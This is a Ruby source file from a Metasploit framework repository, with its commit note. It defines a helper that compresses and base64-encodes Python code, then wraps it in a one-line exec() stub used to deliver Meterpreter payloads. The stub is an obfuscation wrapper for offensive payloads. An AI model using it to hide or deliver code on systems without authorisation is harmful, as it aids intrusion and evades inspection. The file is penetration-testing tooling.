Files
metasploit-gs/lib/msf/core/payload/python.rb
T
llamasoft eb11334f18 Compress python meterpreter payload
The internal AES and RSA implementations use base64+zlib to save space
so it only makes sense that the outer encoding should use it as well.
This reduces the final payload size considerably.
2022-11-05 15:42:45 -04:00

26 lines
848 B
Ruby

# -*- coding: binary -*-
module Msf::Payload::Python
#
# Encode the given python command in base64 and wrap it with a stub
# that will decode and execute it on the fly. The code will be condensed to
# one line and compatible with all Python versions supported by the Python
# Meterpreter stage.
#
# @param cmd [String] The python code to execute.
# @return [String] Full python stub to execute the command.
#
def self.create_exec_stub(cmd)
# Encoding is required in order to handle Python's formatting
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))
b64_stub = "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{payload}')[0])))"
b64_stub
end
def py_create_exec_stub(cmd)
Msf::Payload::Python.create_exec_stub(cmd)
end
end